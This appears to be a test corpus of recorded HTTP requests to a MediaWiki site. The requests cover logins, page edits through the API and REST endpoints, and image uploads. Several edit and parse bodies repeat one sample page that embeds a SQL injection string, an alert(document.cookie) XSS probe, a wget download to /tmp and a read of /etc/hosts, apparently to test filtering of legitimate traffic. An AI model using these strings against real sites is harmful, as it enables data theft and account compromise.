-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 155", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=26%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+ls+-la+notes&appendtext=%0A%2A+ls+-la&summary=ls+-la&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1072", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=28%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=7a53d6d4af2844e59f972f70f639962c"], "body": "--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi ls -la.png\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of ls -la\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout ls -la and .htaccess\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdls -la\r\n--7a53d6d4af2844e59f972f70f639962c--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=30%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+ls+-la+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1598", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=32%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+.htaccess+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1674", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=32%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+.htaccess+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=34%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+.htaccess+notes&appendtext=%0A%2A+.htaccess&summary=.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1087", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=36%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=0451c085f0cd430585e04333efbbfbbf"], "body": "--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi .htaccess.png\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of .htaccess\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout .htaccess and .htaccess\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd.htaccess\r\n--0451c085f0cd430585e04333efbbfbbf--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 120", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=38%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+.htaccess+notes&token=c47e469c2c159f84b563d880403eca806af226a4%2B%5C&format=json&formatversion=2"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_Lighthouse_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1256", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=40%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on Lighthouse\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_python3_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1253", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=41%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on python3\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_powershell_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1256", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=42%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on powershell\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_ls_-la_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1252", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=43%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on ls -la\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_.htaccess_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1255", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=44%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on .htaccess\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=45%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=logout&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
# From a wiki without short URLs, whose pages are at /index.php/Main_Page:
# signing in, uploading files, and moving a page through the form and the API.
{"method": "GET", "target": "/index.php/Special:UserLogin", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=u5y2w", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
